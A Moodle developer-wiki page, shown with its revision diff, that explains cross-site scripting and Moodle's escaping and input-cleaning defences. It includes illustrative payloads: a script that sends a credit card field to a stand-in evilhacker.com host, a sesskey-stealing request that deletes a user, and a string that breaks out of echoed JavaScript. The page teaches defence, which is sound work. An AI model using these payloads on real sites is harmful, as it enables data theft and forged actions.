Development:Security:Cross-site scripting: Difference between revisions
(New page: This page forms part of the Moodle security guidelines. ==What is the danger?== Normally, web browser prevent JavaScript from server from affecting content that ...) |
(ja link) |
||
(5 intermediate revisions by 3 users not shown) | |||
Line 34: | Line 34: | ||
The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise. | The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise. | ||
===Escaping output=== | ===Escaping output=== | ||
Line 48: | Line 49: | ||
===Cleaning input=== | ===Cleaning input=== | ||
The other part of the protection is cleaning up | The other part of the protection is cleaning up data as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript. | ||
However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms. | However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms. | ||
===Escaping output 2 - JavaScript=== | |||
The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like | |||
<code php> | |||
echo '<script type="text/javascript">'; | |||
echo 'alert("' . $userinput . '");'; | |||
echo '</script>'; | |||
</code> | |||
and Evil hacker can make $userinput equal to something like '''"); /* Do something evil. */ (''' then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page. | |||
In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[Development:JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using '''$PAGE->requires->data_for_js''' or '''$PAGE->requires->js_function_call'''. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode. | |||
Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the '''addslashes_js''' function for safely encoding PHP strings for inclusion in JavaScript code. | |||
==What you need to do in your code== | ==What you need to do in your code== | ||
Line 62: | Line 76: | ||
** Use '''format_text''' to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text. | ** Use '''format_text''' to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text. | ||
* Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS. | * Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS. | ||
* When sending data to JavaScript code: | |||
** In Moodle 2.0 and later, use the '''$PAGE->requires->data_for_js''' or ''$PAGE->requires->js_function_call''' methods. | |||
** In Moodle 1.9 and earlier, escape the data with '''addslashes_js''' before printing it into the JavaScript code. | |||
==What you need to do as an administrator== | ==What you need to do as an administrator== | ||
Line 77: | Line 93: | ||
{{CategoryDeveloper}} | {{CategoryDeveloper}} | ||
[[Category:Security]] | [[Category:Security]] | ||
[[ja:開発:セキュリティ:クロスサイトスクリプティング]] |
Latest revision as of 16:24, 16 February 2010
This page forms part of the Moodle security guidelines.
What is the danger?
Normally, web browser prevent JavaScript from server from affecting content that comes from another server. For example, suppose that on your Moodle page (http://mymooodle.com/, you have an iframe displaying an advert from http://makemerich.com/. Then, and JavaScript code in the advert cannot access anything on your page.
In Moodle, we actually let users type in HTML, then we display that HTML as part of our web site. Therefore, any JavaScript they manage to include will have full access to everything on the page.
Why is that a problem? Well, suppose Evil Hacker manages to get some code like
document.write('<img width="1" height="1" ' +
'src="http://evilhacker.com/savedata.php?creditcard=' +
document.getElementById('creditcard').value + '" />');
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.
Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example
document.write('<img width="1" height="1" ' +
'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
document.getElementById('sesskey').value + '" />');
Or even more sophisticated, the JavaScript to do that as a POST request, in a forum where an Administrator would go, would be very bad.
Note that, at least in Internet Explorer, JavaScript can be hidden in CSS style information, as well as in the HTML. Flash and Java applets can also be used to execute scripting, as well as the browser's JavaScript engine.
Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.
How Moodle avoids this problem
The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.
Escaping output
Moodle divides content that has been input by the user into four categories:
- Plain text content. For example, a student's response to a short answer question.
- Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
- HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
- HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.
Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with <. If that is done, there is no way that the input can be interpreted as JavaScript.
Cleaning input
The other part of the protection is cleaning up data as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.
However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.
Escaping output 2 - JavaScript
The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like
echo '<script type="text/javascript">';
echo 'alert("' . $userinput . '");';
echo '</script>';
and Evil hacker can make $userinput equal to something like "); /* Do something evil. */ ( then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.
In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the JavaScript guidelines, and put your JavaScript in an external file, and communicate with it using $PAGE->requires->data_for_js or $PAGE->requires->js_function_call. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.
Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the addslashes_js function for safely encoding PHP strings for inclusion in JavaScript code.
What you need to do in your code
- Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
- Alternatively, use a moodleforms, with appropriate ->setType calls in the form definition.
- Clean or escape content appropriately on output.
- Use s or p to output plain text content (type 1 above).
- use format_string to output content with minimal HTML like multi-lang spans (type 2 above).
- Use format_text to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
- Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
- When sending data to JavaScript code:
- In Moodle 2.0 and later, use the $PAGE->requires->data_for_js' or $PAGE->requires->js_function_call methods.
- In Moodle 1.9 and earlier, escape the data with addslashes_js before printing it into the JavaScript code.
What you need to do as an administrator
- Do not allow a user to have a capability with RISK_XSS unless you trust them.
- The Security overview report can help you check this.